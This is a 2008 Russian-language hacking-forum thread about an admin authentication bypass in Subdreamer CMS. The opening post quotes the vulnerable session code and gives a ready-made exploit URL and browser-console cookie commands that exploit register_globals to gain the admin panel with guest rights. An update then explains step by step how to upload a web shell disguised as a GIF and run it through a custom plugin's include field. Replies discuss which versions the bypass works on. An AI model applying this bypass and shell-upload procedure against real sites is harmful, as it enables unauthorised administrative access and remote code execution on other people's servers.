Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Subdreamer CMS Admin Bypass |

06.07.2008, 19:05
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
Subdreamer CMS Admin Bypass
Определение, является ли зашедший юзер админом происходит в файле admin/authenticate.php, для этого берется сессия и получаются такие важные параметры из базы, как например права админа.
Получение сессии
PHP код:
if(!empty($_POST['s']))
{
$sessionid = $_POST['s'];
}
else if(!empty($_GET['s']))
{
$sessionid = $_GET['s'];
}
else
{
$sessionid = isset($_COOKIE[COOKIE_PREFIX . 'sessionid']) ? $_COOKIE[COOKIE_PREFIX . 'sessionid'] : '';
}
Выборка информации о пользователе
PHP код:
if(!empty($sessionid))
{
$sql = "SELECT * FROM " . TABLE_PREFIX . "sessions
WHERE sessionid = '$sessionid'
AND ipaddress = '" . USERIP . "'
AND lastactivity > " . (TIMENOW - $mainsettings['admincookietimeout']) . "
AND useragent = '" . addslashes(USERAGENT) . "'
AND admin = 1
LIMIT 1";
$session = $DB->query_first($sql);
}
Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.
http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1
Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!
UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл
Последний раз редактировалось Евгений Минаев; 06.07.2008 в 20:02..
|
|
|

06.07.2008, 21:35
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Ты бы версию написал что-ли 
Пробовал на Subdreamer v2.5.3.2 Pro на локалхосте не вышло!
При авторизации из админки у тебя создаётся ещё одна сессия , в куках одна гостевая , и одна админская с разными идентификаторами.
Думаю потом аутентификация идёт по админской сессии.Никакого userid в куках нет.
При авторизации с индекса сессия остаётся та-же,в куках фигурирует userid, но после входа в куках 3 параметра сессия,userid и хеш пароля.Аутентификация видимо по хешу.Код пока не смотрел ,но твой запрос и сдесь не проходит  .При переходе в админпанель-повторная авторизация.
Скорее всего поправили багу, или я что-то не понял.
Пойду смотреть код
|
|
|

06.07.2008, 22:54
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
Если бы ты читал внимательней, то наверное понял меня лучше. О userid в куках я не говорил. Если ты об этом, то это просто способ определения глобальной переменной
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
Также, если ты обратишь внимание на код, то никаких админских сессий нет.
Component Your Version Latest Version
Subdreamer CMS 2.4.3.1 2.4.3.1
При переходе в админпанель-повторная авторизация.
Надо верно выставить куки. На все твои вопросы я уже ответил в первом посте, надо читать внимательно, а не между строк. Единственное - с версией промахнулся, качал с торрентов.
Видео демонстрация http://underwater.itdefence.ru/subdreamer.rar
Последний раз редактировалось Евгений Минаев; 06.07.2008 в 23:24..
|
|
|

07.07.2008, 02:14
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Я читал внимательно,понял тебя и не спорю с тобой.
За видео спасибо, очень интересно.
Специально скачал версию 2.4.3.1, всё работает,НО в версии 2.5.3.2 не пашет!!!
Сейчас в разбираться времени нет, но файл authenticate.php переписан это точно
Если желание есть посмотреть самому ,могу залить куда нибудь версию 2.5.3.2
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|